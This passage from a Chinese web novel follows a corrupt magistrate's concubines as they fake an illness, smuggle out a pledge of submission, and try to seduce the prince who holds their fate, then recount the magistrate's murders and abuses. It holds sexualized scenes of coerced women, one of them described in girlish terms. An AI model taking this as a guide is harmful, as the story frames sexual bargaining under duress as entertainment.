王有德浑浊的眼中爆发出强烈的、如同抓住最后一根稻草般的求生光芒!他激动得浑身哆嗦,甚至想挣扎着下跪磕头: “谢殿下!谢殿下不杀之恩!再造之恩!下官……下官一定……一定竭尽全力!办好这拍卖会!把名单上的人!一个不少地给您‘点’出来!让他们……让他们把吞进去的!都加倍吐出来!以赎己罪!”他几乎是嚎叫着表忠心。 就在此时,密室的沉重木门“吱呀”一声被推开一条缝,明亮的阳光陡然刺入,在昏暗的室内投下一道耀眼的光痕。 萧寒舟的身影出现在门口,对着林臻抱拳低声道:“师父,有事禀报。” 王有德立刻像受惊的鹌鹑一样缩起了脖子,那副卑躬屈膝、摇尾乞怜的丑态暴露无遗。 林臻脸上的温和笑容没有一丝变化,甚至连看王有德的眼风都没转,直接对着门口吩咐:“进来说。” 萧寒舟快步走进,走到林臻身侧,瞥了一眼缩在角落、卑微如尘的王有德,微微皱眉,随即压低声音,简明扼要地将楚惜灵在海边安排捕捞、组织妇女上山挖野菜,以及最关键、也最大胆的那部分计划——全盘扣下南楚岁贡运回南楚变卖、再采购生猪活禽的决定,复述了一遍。 他的语气里依旧难掩震惊和一丝不安。 林臻静静地听着,脸上的笑容越来越深,到最后,他忍不住低低地笑出声来:“呵呵呵……” 这笑声在幽暗的密室里显得格外清晰,带着一种意料之中的愉悦和毫不掩饰的宠溺。 林臻笑着摇头,语气里满是赞赏,他随手提起茶壶,亲自为萧寒舟和自己各斟了一杯热茶,“那批岁供的小玩意,为师早就扣下了。算算时间,这个时候,它们应该早就在回南楚的路上了。说不定已经快找到合适的买家了。” 萧寒舟端着茶杯,整个人如同被雷劈中,愣在当场! 扣下了? 也早就扣下了?! 而且已经运走了?! 他张着嘴,好半天才猛地反应过来。 原来师父不仅早就动了截留的念头,更已将想法付诸行动! 行动力惊人! 时机把握得极其精准! 而且他竟然和惜灵师娘想到了一处! 几乎是同时、或者更早一步就已经在执行相同的计划! 这对夫妻到底是什么样的默契? 又是什么样的胆魄?! 师父这步棋,下的比师娘想象中更大、更早、更险! 连一点犹豫都没有! 萧寒舟心中巨浪滔天,看向林臻的眼神充满了无与伦比的敬畏和深深的折服! 他猛地灌了一口热茶,却感觉这茶水滚烫如火,直灼烧到心底。 在他看不到的角度,林臻微微侧脸,望向角落阴影中如同泥塑木偶般的王有德。 就在这刹那之间,林臻嘴角那抹原本温和的笑容,倏地凝固、敛去! 取而代之的,是一丝冰冷漠然到极点的、几不可察的阴冷笑意! 那笑容一闪即逝,快得如同毒蛇吐信,只在幽暗的烛光下留下一个刻骨的残影。 第652章 连挣扎都不许挣扎一下? 沪县城外,建设工地的灯火如同燎原的星火,彻夜不熄,传递着破而后立的热望与喧嚣。 而与之形成鲜明对比的,是被重重铁甲围困、如同一座巨大沉默坟墓的王家宅院。 压抑的绝望如同浓稠的墨汁,早已浸透了这里的每一寸空气。 白日里通过种种渠道零碎传入的、关于王有德被剥光了所有尊严游街示众的消息,像淬毒的鞭子,反复抽打着宅内每一个人的神经。 恐惧不再是无声的蔓延,而是变成了令人窒息的实体,掐住了所有人的喉咙。 尤其是那些心思活络、或本就与王有德恩情寡淡的女眷们。 入夜,更深露重。 往日笙歌燕舞的正厅此刻死寂一片,门窗紧闭,只点着一盏气死风灯,昏黄的光晕无力地照亮几张惨白绝望、却又暗藏不甘的脸。 空气里弥漫着香粉和汗液混合的、令人心头发腻的气味。 王氏瘫在主位的太师椅上,双目无神,嘴唇干裂起皮,仅存的精气神似乎已在日间的崩溃中耗尽。 而围坐在下首几位姨娘和年轻些的侍妾,则显得更为焦躁。 她们大多是王有德这些年强取豪夺、或为稳固权势而收入府中的玩物。 往日里为了争夺一点可怜宠爱和生存资源,彼此间少不了明争暗斗。 但此刻,死亡的阴影将所有人拉到了同一条即将沉没的破船上。 一个穿着半旧水红绫子衫,眼角已有细纹,但眉宇间仍带着几分不甘的妇人猛地一拍茶几——正是素来心气高、性子也最烈的五姨娘(之前点破危局那位)。 茶盏叮当作响,茶水泼溅而出。 “难道我们就这样坐着等死吗?!”她压低声音,那嘶哑的调子里却透着一股豁出去的狠劲, “外面的消息你们听到了!老爷已经不是老爷了,他就是世子殿下摆在砧板上的一块肉,随时等着被剁碎的那块!他那些脏事儿、烂事儿,天打雷劈的恶行!哪一件是我们做的?!凭什么要拉着我们全府上下、拉着我们的孩儿给他陪葬?!” 她目光如刀,一一扫过其他人惨白的脸: “特别是我们几个……”她看向角落一个穿着素净湖绿褙子、容颜清丽但眉宇间带着哀愁与刚毅的六姨娘,又扫过另一个神色仓惶的九姨娘, “我们是被强行绑上这艘破船的!难道连挣扎都不许挣扎一下?!就这么认命淹死不成?!” 一个年岁稍长些、曾颇得王有德信任、参与过一些内宅龌龊事的四姨娘,带着哭腔小声驳斥:“老五你胡说什么?这深宅大院的,没有老爷我们哪里还有活路?外面都是兵。” “活路是靠自己挣出来的!”五姨娘厉声打断她,眼神如同淬火的寒铁,“老爷?他还能给我们活路?他现在就是一条等着被剥皮的死狗!我们唯一的活路在墙外面,在那个掌握着我们生杀大权的世子殿下手里!” 角落里那个清丽的六姨娘(可能是读书人家的女儿,被王有德强占的)猛地抬起头,眼中燃起一丝微弱的光芒:“五姐……我们能怎么办?外面守卫森严,我们如同笼中鸟,连递句话都做不到。” 五姨娘深吸一口气,眼中闪过一丝孤注一掷的疯狂,压低的声音如同毒蛇吐信: “林臻么,呵。他也是男人!而且是身份尊贵无比的男人,什么样的珍馐美馔、绝色佳丽没见过?但我们……” 她顿了一下,目光带着一种赤裸裸的、物化自身的冷酷,扫过厅中几位姿色或艳丽、或清秀、或温婉的女子脸庞: “我们是这座金丝笼里最后的、也是唯一可能打动他的珍宝!老爷这些年别的不行,搜罗美色的眼光倒还不错!我们这些人就是他积累下的一笔特殊的财富!” 这句话如同丢进滚油里的冷水,瞬间让整个大厅炸开了锅! “老五!你……你疯了!”王氏猛地抬头,失声尖叫,脸上是难以置信的羞怒,“你……你竟敢说出如此不知廉耻、败坏门风的话来!” “不知廉耻?!”五姨娘猛地站起身,毫不畏惧地迎上王氏惊怒的目光,指着她的鼻子,声音尖利刺耳, “夫人,收起你那套礼义廉耻吧。现在是要脸还是要命?!你难道想让我们所有人,还有你那几个不成器的儿子孙子,都变成猪猡一样流放做苦役?还是像条狗一样被砍了头挂在城门上?!” 她豁出去了,脸上是破罐破摔的狰狞: “廉耻?!陪老爷乱搞的时候,你们几个有脸提过廉耻没有?!那个被他折磨死的丫鬟,她的廉耻在哪里?!为了以后的前程,为了我们的孩子——” 她猛地转向六姨娘和九姨娘,眼中是深沉的悲哀和狠厉: “小六,你儿子才三岁,多聪明的一个孩子!你难道忍心他一落地就是罪籍,世代为奴?阿九,你那女儿,才刚出生啊。粉雕玉琢的一个小人儿!你难道想让她在教坊司长大,被人肆意糟践一辈子?!” 她的话如同最锋利的锥子,狠狠刺穿了每一个为人母者内心最柔软也最恐惧的地方。 六姨娘眼中的哀愁瞬间化为巨大的痛苦和决然,她颤抖着嘴唇,死死咬住下唇,渗出血丝:“我不管你们,也管不了你们。我为了霖哥儿,做什么都行!” 九姨娘也捂着脸,发出压抑不住的呜咽,但随即用力点头。 另外两位曾参与内斗的姨娘,脸色变幻不定,最终,眼神也化为了绝望中的狠辣,咬着牙点头。 王氏瘫在椅子上,脸色惨白如鬼,嘴唇哆嗦着,却再也说不出半个字。 她看着眼前这群为了子女豁出去的女人,仿佛看到了最后的献祭仪式。 儿子……她的儿子们……她闭上眼睛,两行浑浊的泪滑落脸颊,无声地代表了默认。 “好!”五姨娘眼中爆发出孤狼般的光芒,“既然都同意,那就按我的计划来!” 她快速部署: “小九,你去北门找士兵,就说夫人惊吓过度,染了急症,晕厥抽搐,口吐白沫,眼看就要不行了,让他们去找大夫!不,更直接一点,哭喊吵闹,就说必须请王府的医官来!普通的郎中救不了!” “可是世子殿下会管夫人的死活吗?”四姨娘担忧地问。 “哼!”五姨娘冷笑,“他不想管,但他想坐实‘仁义’的名声!他要让百姓信服他是青天,是体恤百姓的主子!夫人现在名义上还是县令之妻,只要没死透,他就不可能真的袖手旁观,落人口实!” “然后呢?”六姨娘焦急地问。 “等王府派的大夫或者医官来的时候我们就把东西,神不知鬼不觉地塞到他手里!” “什么东西?”众人疑惑。 五姨娘的眼神扫过众人,带着一种献祭般的残忍:“一张由我们所有人联合署名的效忠投名状!” 她一字一顿地说,仿佛在宣读自己的末日判决: “上面要写清楚:王有德罪该万死!其恶行与我等女流无干。我等深受其苦,深恨其恶!唯愿率阖府女眷,包括夫人(五姨娘刻意加重了这两个字,瞥了王氏一眼),一并献身,任凭世子殿下驱遣!无论何等侍奉差遣,皆心甘情愿,绝无怨言!唯求世子殿下怜悯,念在我等微弱之躯尚可献于鞍前马后,饶我等及其无辜子女一条贱命!” “这……”连六姨娘这样豁出去的,脸也瞬间红得要滴出血来。 “献身?”九姨娘声音都在抖,“我们一起陪……侍奉他?” “不然呢?!”五姨娘再次拍桌子,脸上是毫不掩饰的鄙夷, “你真当天上会掉馅饼?不拿出我们仅有的、最彻底的东西,凭什么打动那位高高在上的世子?任凭驱遣,绝无怨言,这八个字就是要清楚告诉他,我们所有人,连同这座宅院里所有他能看上眼的东西!都是他的战利品!随他怎么用!” 她环视一圈,语气带着最后通牒的残忍:“收起你们那点可怜的羞耻心,当初为了争名夺利,都是想方设法的拉帮结派,关起门乱来!对王有德区区一个县令尚且如此,更何况是对林臻?这是为了活下去、为了下一代不被碾死的献祭!谁要是不肯签名画押,或者待会儿谁拖后腿……” 她没说完,但那冰寒彻骨的眼神,让所有人都打了个寒颤。 计划开始执行。 宅院内顿时一片凄风苦雨般的混乱! 女人们凄厉的哭喊声、杂乱的奔跑声、砸碎东西的声响,此起彼伏。 “快来人啊!夫人不行了!夫人晕过去了!口吐白沫了!” “求求你们!开开恩!救救夫人吧!王府的大夫!快请王府的神医啊!” “夫人啊!您醒醒啊……” 这动静终于惊动了守卫在外围的金吾卫士兵。 带队的小校皱着眉头前来询问,被守在大门口管事王福(他为了保命也只能配合演戏)一把鼻涕一把泪地抱住大腿哭诉。 小校看着府内确实闹哄哄一片,又是搬病人又是哭天抢地的,心中也是烦躁。 真出了人命,尤其是在世子刚立威的风口浪尖,他们这些守卫也确实不好交代。 思虑再三,只得派一名士兵骑马飞奔向县衙禀报请示。 ?? 第653章 准备诱惑林臻 县衙内堂。 萧寒舟刚刚呈上整理好的工程进度简报。 林臻正慵懒地斜靠在铺着白虎皮的宽大坐榻上,指尖捏着一枚剔透的白玉棋子把玩,似乎在与自己对弈。 真不愧是小官巨贪呐,这群与百姓直接接触的人最能贪了。 就说身后这张白虎皮。 放在京城那等富饶的地方,这张皮最少值几千两银子,但是网友的家里有两张。 奶奶的,我堂堂一国世子,混得还不如个县令呢。 摇曳的烛光在林臻俊美而冷峭的侧脸上投下明暗不定的影子。 “启禀殿下!”一名侍卫快步进入,单膝跪地,“王家宅邸守卫急报,王有德正妻王氏突发急症,症状凶险,口吐白沫,恐有性命之忧。宅内女眷哭闹不止,恳请王府遣良医救命!守卫不敢擅专,请殿下定夺!” 萧寒舟眉头微皱,下意识地望向林臻。 又是王家?又是女眷? 他本能地嗅到了一丝异常的气息。 林臻捻动棋子的指尖微微一顿。 浓密的长睫下,那双深邃如寒潭的眼眸闪过一丝几乎无法捕捉的兴味,如同猎鹰发现挣扎的猎物做了一点点有趣的动作。 嘴角,一丝若有似无的、带着绝对掌控力的玩味笑意悄然漾开,冰冷却动人心魄。 他随手将那枚白玉棋子轻轻按在棋盘上,发出清脆的“嗒”一声。 “王府的医官?”他慢悠悠地开口,声音带着一丝睡意朦胧般的慵懒,却又字字清晰, “呵,也罢,派过去吧。悬壶济世,救人一命,乃医者本分,更是应尽之德。本世子初来沪县,理当体恤百姓,哪怕是她王氏。” 他挥了挥手,姿态随意得像在吩咐一件微不足道的小事。 侍卫领命而去。 萧寒舟心中的疑虑却更浓了。 以他对师父的了解,这份“体恤”和“应尽之德”,充满了冰冷的嘲讽。他忍不住低声道:“师父,王家此时闹腾,恐怕……” “无妨。”林臻打断他,唇角的笑意加深,那份戏谑几乎溢出来,“左右不过是一群关在笼子里急了眼的耗子,想找条路钻。看看她们能玩出什么花样,也是一乐。” 他端起手边的茶盏,优雅地啜了一口。 这夜,还长呢。 ??...... 孙神医是不可能跟着来沪县的,所以他指派了自己最杰出的弟子,火柱。 火柱今年不到四十岁,看起来很是老成,不苟言笑。 他在两名金吾卫军士的陪同监视下,匆匆赶到王家宅院大门。 王福和一众哭哭啼啼的管事早就等在门口,点头哈腰将其迎入。 一路行至内宅。 内宅的气氛诡异到了极点。 王氏躺在卧室床榻上,妆容尽卸,脸色惨白(刻意涂了铅粉),双目紧闭,头发散乱,嘴角似乎还有一点点可疑的白沫(其实是米浆混面粉)。 旁边围着一圈穿着素净却难掩丽色、哭得眼睛红肿的姨娘侍妾。 空气中弥漫着浓重的药味和香粉味。 火柱经验丰富,一眼就看出王氏是装晕,气息平稳,脉象虽有些急促(吓的)却根本无大病。 但他心知肚明,王府派他来,是走个过场,表示殿下的“仁厚”。 他也没拆穿,装模作样地坐下诊脉,又翻了翻王氏眼皮。 就在他假意皱眉思索药方、提笔沾墨准备写个“安神定惊”方子糊弄过去时,一直站在他身侧、哭得几乎站不住的六姨娘(清丽那个),“噗通”一声跪倒在他面前! “神医!神医救命啊!”六姨娘的声音凄婉哀绝,充满了无助与恐惧,“求神医怜悯!我家夫人,还有我们这满府可怜人……都被老爷……不,被那王有德那恶贼害惨了!” 她一边哭诉,一边不着痕迹地将自己早已被泪水浸湿的汗巾子递向火柱。 “我们都是苦命人啊,当年被强抢入府,绝非自愿。王有德造的孽,与我们,与我们的孩儿无关啊!呜呜呜……” 她哭得肝肠寸断,仿佛耗尽了所有力气,身体一软,几乎要扑倒。 火柱下意识地伸手去扶她手臂。 就在这肢体接触的瞬间,在火柱的手接触到汗巾的刹那,六姨娘的手腕极其隐蔽、却又万分坚决地向上一抬! 汗巾下,一张卷成细卷、被汗水和泪液浸透几乎透明的小纸条,死死地、牢牢地塞进了火柱的手心里! 她的指甲甚至因为用力而掐进了火柱的手背。 火柱浑身猛地一僵! 冷汗瞬间浸透了背脊! 那纸卷的存在感和其中的分量,如同烧红的烙铁! 他下意识地想抽手扔掉! “神医!”六姨娘抬起头,那双因为哭泣而红肿的美丽眼眸死死盯住他,眼中再无哀婉,只有一种穷途末路的、令人心悸的疯狂和哀求! 那眼神仿佛在说:若你不带,我们必死!你若帮这一次,是积天大的阴德!救的是几条甚至十几条无辜的命! 其余几个姨娘侍妾也同时跪倒,七嘴八舌,哭声震天: “求神医开恩啊!” “救救我们吧!救救孩子们吧!” 火柱看着这一屋子美艳绝望的女人,又想起府外森严的守卫,再看看手心那几乎黏在自己汗里的“烫手山芋”,头皮阵阵发麻。 他心知肚明,这东西带出去,若被查获,自己恐有杀身之祸! 可若不带……面对这些几乎要生吞活剥他的眼神和哭声,他毫不怀疑自己可能都走不出这个院子! 他长长地、几不可闻地叹了口气,老脸上充满了痛苦和无奈。 他深深地看了六姨娘一眼,将那个小纸卷用力攥进手心最深处,随即迅速用衣袖擦了擦额头的汗(顺手也将纸条彻底藏好),一副被哭得心慌意乱的样子。 “罢了罢了!都起来!成何体统!”火柱摆出一副医者仁心被感动的无奈表情,提高声音道, “夫人这是惊厥之症,并无大碍!老朽这就回去开方子,你们好好照料便是!” 他匆匆甩下几句话,几乎是用逃的速度,带着两个一直警惕观察却被他身体遮住视线的军士,快步离开了这让人窒息的内宅。 火柱几乎是一路小跑回到县衙,后背的衣衫尽湿。 他将纸条上交给负责内务的管事,并简要说明情况(只强调女眷哭求伸冤),便像丢了魂一样,被管事打发去休息了。 管事情知事关重大,不敢有丝毫耽搁,立刻捧着那张湿漉漉、带着脂粉香气和泪痕的纸条,送去给林臻。 而这个时候夜已深沉。 县衙后堂的书房内烛火通明。 林臻刚与萧寒舟、毛梦极等人议完明日要去崇明岛看看。 管事悄无声息地进来,恭敬地将一张叠得整整齐齐的纸条,呈放在林臻宽阔的紫檀书案上。 “世子,这是火柱从王家带出来的……说是内宅一位姨娘拼死递出的诉状……” 管事的声音压得极低,带着一丝难以言喻的意味。 毛梦极眼神一厉,几乎就要伸手去拿那纸条查看。 萧寒舟的心也瞬间提到了嗓子眼。 林臻抬手,轻轻示意他们噤声。 他修长如玉的手指伸出,没有立刻打开那张纸,而是用指腹感受了一下那纸上残留的湿意和微黏触感,仿佛在摩挲一朵带露的、即将被摧折的残花。 烛光下,他脸上的笑容,由起初的漫不经心,逐渐沉淀、凝聚。 最终,定格成一个极具穿透力和掌控意味的、冰冷邪魅的笑容。 那笑容里,混合了洞悉一切的嘲讽、高高在上的俯视,以及一种仿佛看到新奇玩具的、饶有兴致的残忍玩味。 他缓缓展开那张被汗水泪水揉得皱巴巴、字迹都有些模糊的纸条。上面用娟秀却因情绪激动而颤抖的笔触写着(以五姨娘和众人名义): 罪妾五娘率阖府姊妹泣血跪告世子殿下: 王有德人面兽心,天良丧尽,秽乱官箴,祸害苍生!其滔天罪孽,我等弱质女流深恶痛绝,恨不能食其肉寝其皮!昔日被胁,屈身虎狼,日夜战兢,生不如死!今得见天日,如蒙殿下恩典,罪妾等阖府上下(附上所有签名手印)……愿率全府所有,尽献殿下鞍前马后,不避锋镝,无惧唾骂,任凭殿下驱使(字迹加重),肝脑涂地亦无怨言!唯求世子怜我姊妹无辜,念稚子尚在襁褓不知世艰,赦我等贱命,恩同再造!但有所命,万死莫辞!若得一线生机,永世感念殿下洪恩! 林臻的目光在那句“任凭殿下驱使”上停留了片刻,尤其是那几个格外工整用力、仿佛蘸着血写的字。 他指尖轻轻点着纸张。 整个书房陷入了死寂。 毛梦极的脸上是毫不掩饰的鄙夷和冷酷杀意。 萧寒舟则面色复杂,心中对这世间女子的挣扎与绝望升腾起巨大的悲哀,同时又被那赤裸裸的献祭所震动。 终于,在令人窒息的沉默中,林臻发出一声极轻、却寒意彻骨的低笑。 他抬起眼,看向毛梦极和萧寒舟,那眼神如同寒冰淬火后的幽光,带着一丝不容置疑的兴致: “梦级。” “属下在!”毛梦极立刻拱手。 “备轿。” 林臻悠然起身,拂了拂云锦衣袍上并不存在的灰尘,姿态优雅闲适,仿佛不是要去审视一群笼中待宰的猎物,而是赴一场早已安排好的、供他消遣的晚宴。 “闲着也是闲着。本世子倒想去看看,王有德的妻妾们究竟有多少斤两,值得她们把这任凭驱使四个字说得这般决绝。” 他唇角的笑意,在烛光下,冰冷而玩味,带着深渊般的诱惑与致命的危险。 第654章 莺莺燕燕 王府那扇沉重的朱漆大门在夜色中缓缓开启,如同巨兽张开了幽暗的食道。 门内,灯火通明,却驱不散那股深入骨髓的压抑和绝望。 庭院之中,黑压压跪倒了一片。 所有女眷、仆役、丫鬟,甚至包括那几个被吓破了胆、脸色惨白的王家庶子,全都如同被无形的巨手按在地上,额头死死抵着冰凉的石板! 空气里弥漫着浓重的脂粉香、汗味和一种令人窒息的恐惧。 “参见世子殿下!殿下千岁千岁千千岁!” 参差不齐、带着颤抖和哭腔的呼喊声,如同垂死的哀鸣,在寂静的庭院中回荡。 林臻一身玄色暗金纹常服,负手立于门前台阶之上。 月光如水,洒落在他挺拔如松的身影上,镀上一层清冷而威严的银辉。 他目光平静地扫过脚下这片卑微匍匐的身影,如同神祇俯瞰尘埃。 那眼神里没有怜悯,没有厌恶,只有一种洞悉一切的漠然。 “听闻王氏夫人病重,本世子心系百姓,特来探望。既然夫人已无大碍,那本世子便不多打扰了。” 说罢,他作势转身欲走。 “殿下!世子殿下留步!!” 一声凄厉而决绝的呼喊划破死寂! 跪在人群最前方的五姨娘猛地抬起头! 她如同离弦之箭般从地上弹起,几步冲到台阶之下,“噗通”一声重重跪倒在林臻脚前! 双手死死抓住林臻袍服的下摆,仰起那张因激动和恐惧而涨得通红、却依旧难掩艳丽的脸庞! “求殿下开恩!饶命啊!”她声音嘶哑,泪水如同断线的珠子滚滚而落,混合着脸上的脂粉,显得狼狈不堪,却又带着一种孤注一掷的凄艳, “那些伤天害理、丧尽天良的脏事都是王有德那个天杀的狗贼一个人干的!与我们这些后宅的姊妹无关啊!殿下,我们都是被他强抢、被他胁迫的可怜人,我们恨他入骨!恨不能亲手杀了他!求殿下明鉴,给我们这些苦命人一条活路吧!” 她一边哭喊,一边用力磕头,额头撞击在冰冷的石阶上发出“砰砰”闷响,瞬间便青紫一片。 林臻的脚步顿住了。 他微微低头,目光落在五姨娘那张梨花带雨、在朦胧月色下确实显出几分动人姿色的脸上。 那泪水是真的,恐惧是真的,绝望是真的,但眼底深处那一抹孤狼般的狠厉和算计,同样是真的。 他嘴角缓缓勾起一抹极淡、却意味深长的弧度,声音带着一丝玩味的低沉: “哦?是吗?”他并未让她起身,只是任由她抓着自己的袍角,目光如同探照灯般审视着她, “本世子倒是很喜欢聪明的女人。”他顿了顿,声音带着一种洞穿人心的力量, “从你刚才那番话,还有今晚这场夫人病重的大戏来看,策划这一切的就是你吧?五姨娘?” 五姨娘浑身猛地一僵! 她抬起头,眼中瞬间闪过一丝被看穿的惊骇,但随即又被更深的决绝取代! 她用力点头,声音带着破釜沉舟的颤抖:“是!是贱妾!贱妾……贱妾也是走投无路!被逼无奈,只能出此下策,只求能见殿下一面!只求能报答殿下恩情于万一!” 她将“报答”二字咬得极重,带着赤裸裸的暗示。 林臻静静地看着她,眼神深邃如渊,看不出喜怒。 片刻后,他轻轻拂开她抓着自己袍角的手,那动作随意却带着不容抗拒的力量。 他不再看她,目光投向庭院深处那座灯火最盛、象征着王家昔日权势核心的正厅,淡淡道:“带路吧,本世子有些乏了。” 五姨娘如蒙大赦,连滚爬带地起身,顾不得额头的疼痛和狼狈,连忙躬身引路:“是!是!殿下这边请!快!快给殿下掌灯!” 林臻在毛梦极和几名亲卫的簇拥下,迈步踏入正厅。 厅内早已被精心布置过。巨大的蟠龙烛台燃着粗如儿臂的红烛,将厅堂照耀得亮如白昼。 空气中弥漫着浓郁的、刻意熏染过的名贵熏香,试图掩盖那挥之不去的衰败气息。 一张宽大的紫檀木太师椅被擦拭得一尘不染,摆放在主位,上面铺着崭新的、绣着富贵牡丹的锦缎软垫。 林臻径直走到太师椅前,一撩袍角,姿态慵懒却带着无形威压地坐了下去。 随着五姨娘一个隐晦的眼神,早已蓄势待发的女眷们如同被无形的丝线牵引,瞬间涌上前来,将林臻围在中央。 莺声燕语,香风阵阵,玉手纤纤,交织成一幅活色生香却又暗藏深渊的图景。 四姨娘身段丰腴,穿着特意换上的绛紫色缠枝莲纹云锦褙子,领口开得比平日更低,露出一抹雪白的沟壑。 她脸上堆着精心练习的媚笑,莲步轻移间风情万种,端着温润的青玉茶盏袅袅娜娜地半跪在林臻身侧。 “殿下辛苦了,请用茶润润喉。”声音柔媚入骨,眼波流转间带着钩子。 递茶时,她身体微微前倾,丰满的胸脯几乎要蹭到林臻的手臂,一股混合着成熟体香的气息扑面而来,指尖在递送茶盏时若有似无地擦过林臻的手背。 与此同时,清丽脱俗的六姨娘捧着紫檀木托盘,上面是剥好的晶莹荔枝。 她低着头,长长的睫毛如同蝶翼般颤抖,脸上带着天然的哀愁与羞怯。 她怯生生地捻起一颗饱满的荔枝,小心翼翼地递到林臻唇边,声音细若蚊蚋:“殿下……请……请尝尝这荔枝……” 指尖因为紧张而冰凉,微微颤抖着轻轻擦过林臻微抿的唇角,让她的小脸瞬间涨得通红,一直红到耳根。 她抬起那双含着盈盈泪光、如同秋水般清澈的眼眸,带着无尽的哀求和期盼,怯生生地、勇敢地望向林臻。 年纪最小的九姨娘端着盛满温水、漂浮玫瑰花瓣的鎏金铜盆跪在林臻脚边。 鹅黄色撒花襦裙衬得她如同初绽的花蕾。 她伸出白嫩的小手,捧起林臻的一只脚,脱掉鞋袜,笨拙而认真地用沾了温水的柔软丝巾为他擦拭脚踝和小腿。 指尖偶尔不经意地划过林臻的脚踝或小腿肚,带来一阵微痒的触感。 她仰起小脸,那双清澈无辜的大眼睛带着一丝好奇和懵懂的讨好,偷偷瞄了林臻一眼,脸颊飞起两朵羞涩的红云,微微敞开的衣襟下隐约可见初具规模的少女曲线,口中还细弱地喃喃:“娘……娘说过……伺候好主子……主子才会开心……” 其余几位姨娘有点则是悄无声息地绕到林臻身后,一双柔若无骨的玉手轻轻搭上他的肩膀,力道适中地揉捏着穴位。 身体微微前倾,温热的呼吸若有似无地拂过林臻的耳廓,带来一丝酥麻的痒意,身上散发着淡淡的兰花幽香。 另有媚态百出的女子半跪在另一侧,伸出粉拳,力道适中、节奏舒缓地为林臻捶打着大腿外侧,粉拳偶尔不小心滑落到更靠近大腿内侧的位置,带来一丝暧昧的触碰,随即又如同受惊般迅速移开,脸上适时飞起恰到好处的红晕。 温香软玉环绕,柔荑玉手齐施。 第655章 想活命就看你们的表现 茶香、果香、脂粉香、少女体香、妇人幽香……混合成一股令人心旌摇曳的馥郁气息。 娇媚的嗓音、哀婉的低语、懵懂的呢喃、温顺的呼吸交织成一首惑人心魄的夜曲。 丰腴的胸脯、清丽的容颜、娇憨的身姿、温婉的侍奉、暧昧的触碰构成了一幅活色生香的极致诱惑图景。 所有女人都使出了浑身解数,媚眼如丝,吐气如兰,身体语言充满了暗示与挑逗,试图点燃这位年轻权贵哪怕一丝一毫的情欲之火。 然而,身处这香艳漩涡中心的林臻,姿态依旧慵懒,甚至微微闭上了眼睛,仿佛在享受这全方位的服侍。 他端起四姨娘奉上的茶,浅浅啜了一口;任由六姨娘将荔枝递到唇边(却并未张口);感受着九姨娘笨拙的擦拭和其他小妾恰到好处的按摩捶打。 他的身体放松,呼吸平稳,脸上带着一丝若有似无的、仿佛享受的惬意。 但那双深邃的眼眸深处,始终是一片冰冷无波的寒潭! 没有情欲的波动,没有半分欣赏的愉悦,只有一种居高临下的审视和洞悉一切的漠然。 他身体的每一寸肌肉都处于松弛状态,连最细微的生理反应,像喉结滚动、呼吸加速都未曾出现,仿佛眼前这些活色生香的美人,不过是一群在精心表演的提线木偶。 就在这旖旎氛围似乎达到顶点,所有女人都屏住呼吸,期待着他哪怕一丝情动迹象时—— 林臻缓缓睁开了眼睛。 那双深邃的眼眸,清澈、冰冷、锐利! 如同两把淬了寒冰的利刃,瞬间刺破了所有精心营造的香艳幻象! 他的目光,如同冰冷的探照灯,首先落在了离他最近、媚态最盛的四姨娘脸上。 “王有德都做过什么?或者说,你们都知道些什么?”那平静的语气,如同在询问一件与己无关的琐事。 四姨娘脸上的媚笑瞬间僵住! 如同被冻住的面具! 她手中的茶盏几不可察地晃动了一下,滚烫的茶水溅出几滴,烫红了她的手背,她却浑然不觉。 巨大的恐惧和积压的怨恨如同火山般爆发出来! 她猛地低下头,声音带着难以抑制的颤抖和刻骨的恨意: “回殿下,那老贼贪得无厌。为了强占城西李寡妇家祖传的十亩水田,他指使家奴在在深更半夜泼火油放火,活活烧死了李寡妇和她那年仅八岁的儿子!!” 她说到最后,声音哽咽,身体剧烈地颤抖起来,眼中充满了泪水,但那泪水里,是滔天的恨意! 精心营造的媚态瞬间崩塌,只剩下被痛苦和恐惧扭曲的面容。 林臻的目光平静地移开,仿佛只是听到了一件微不足道的小事。他的视线转向了正将荔枝递到他唇边、小脸通红的六姨娘。 “你呢?”声音依旧平淡无波。 六姨娘浑身剧震! 如同被无形的冰锥刺中! 她手中的荔枝“啪嗒”一声掉落在光洁的金砖地面上,摔得汁水四溅! 她如同被抽走了所有力气,身体猛地一晃,泪水如同决堤的洪水,汹涌而出! 她再也无法维持那刻意营造的哀婉姿态,“噗通”一声跪倒在地,双手死死捂住脸,发出压抑不住的、撕心裂肺的痛哭: “呜呜呜……殿下,贱妾本是城东秀才之女。那老贼看中贱妾容貌,趁家父病重强行将贱妾掳入府中。家父因此气急攻心含恨而终了,呜呜呜……” 她哭得肝肠寸断,蜷缩成一团,清丽的脸庞被泪水彻底打湿,充满了深入骨髓的绝望和怨恨。 林臻的目光又扫向跪在他脚边、正笨拙地为他解袜带的九姨娘。 “还有你?”他的声音带着一丝不易察觉的玩味。 九姨娘被这冰冷的问话吓得浑身一哆嗦! 手中的动作瞬间僵住! 她抬起头,那双清澈无辜的大眼睛里充满了茫然和恐惧,看着痛哭的六姨娘和浑身颤抖的四姨娘,小脸煞白,结结巴巴地说:“我……我……那老贼……他……他诬陷城北茶农张阿大偷税……把他抓进大牢……打断了他一条腿!还……还割了他的舌头!逼他……逼他画押认罪!茶园……茶园就被老贼霸占了!” 娇憨懵懂的神态荡然无存,只剩下惊惧和愤慨。 林臻的目光最后落在身后为他揉捏肩膀的几女身上。 她们早已吓得停下了动作,脸色惨白,身体僵硬,大气不敢出。 “你们呢?”林臻的声音如同最后的审判。 “殿……殿下……老爷……老爷他……他为了讨好扬州来的盐商……把……把盐商看不上的小妾……硬塞给了我们老爷……那女子……那女子不从……被……被老爷活活打死了……” 整个大厅瞬间陷入一片死寂。 只有六姨娘压抑不住的抽泣声和女人们粗重恐惧的呼吸声。 方才的香艳旖旎荡然无存,只剩下冰冷的控诉、滔天的恨意和无边的恐惧在空气中弥漫、发酵。 精心准备的诱惑,在这血淋淋的控诉面前,显得如此苍白、可笑、又令人绝望。 林臻静静地听着,脸上没有任何表情。 他任由四姨娘带着恨意的诉说,任由六姨娘撕心裂肺的痛哭,任由九姨娘懵懂的控诉,任由侍妾们恐惧的坦白。 他甚至重新端起了那杯早已凉透的茶,浅浅啜了一口,姿态依旧从容闲适,仿佛周遭的崩溃与哭嚎只是无关紧要的背景杂音。 当最后一丝控诉的余音也消散在死寂的大厅中时,林臻缓缓放下了茶杯。 他身体微微前倾,目光如同实质般压迫着跪了一地的、瑟瑟发抖的女人们。那眼神,如同在审视一群待价而沽的货物。 “你们想活命是吧?” 